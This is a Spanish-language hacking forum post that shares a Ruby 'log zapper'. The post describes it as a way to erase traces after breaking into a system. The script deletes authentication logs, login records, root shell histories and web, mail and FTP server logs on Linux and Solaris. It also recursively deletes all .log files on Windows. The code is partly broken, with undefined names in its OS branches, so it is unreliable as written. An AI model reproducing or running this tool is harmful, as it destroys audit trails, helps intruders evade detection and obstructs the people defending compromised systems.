RubyZapper (Log Cleaner)

Iniciado por ANTRAX, Febrero 24, 2010, 04:22:35 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 24, 2010, 04:22:35 PM Ultima modificación: Julio 31, 2014, 10:16:57 PM por Expermicid
Un sencillo Zapper  (o borrador de logs, para cuando entremos aun sistema), codeado en Ruby.

Código: ruby
#Log Cleaner. Borrador de logs.
#Para servidores unix, windows o sun.
#Coded by pRotos
#[email protected]
if RUBY_PLATFORM =~ /linux/
os="linux"
end
if RUBY_PLATFORM =~ /win/
os="win"
end
if RUBY_PLATFORM =~ /sun/
os="sun"
end
puts "Borrando los logs..."
case os
when linux
logs= ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp", 
                 "/var/log/secure","/root/.ksh_history", "/root/.bash_history", 
                 "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp", 
                 "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm", 
                 "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs", 
                 "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog", 
                 "/var/log/messages/", "/var/log/proftpd/xferlog.legacy", 
                 "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", 
                 "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", 
                 "/var/log/httpsd/ssl.access_log", "/etc/mail/access", 
                 "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", "/var/lock/samba", "/root/.Xauthority", 
                 "/var/log/poplog", "/var/log/news.all", "/var/log/spooler", 
                 "/var/log/news", "/var/log/news/news", "/var/log/news/news.all", 
                 "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", 
                 "/var/log/news/suck.err", "/var/log/news/suck.notice", 
                 "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks", 
                 "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log", 
                 "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs", 
                 "/var/log/auth"]
logs.each {|x|
File.delete(x)
}
system('files=find / -name *.log')
system('rm $files')
puts "Logs Borrados del sistema"

when win 
system('cd\ ')
system('del /S *.log')
puts "Logs Borrados del sistema"

when sun
logs= ["/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog", 
                 "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp", 
                 "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx", 
                 "/var/adm/log/asppp.log", "/var/log/syslog", 
                 "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct", 
                 "/var/lp/logs/lpsched", "/var/lp/logs/requests", 
              "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log"]
logs.each {|x|
File.delete(x)
}
puts "Logs Borrados del sistema"
else
puts " SO no reconocido"
end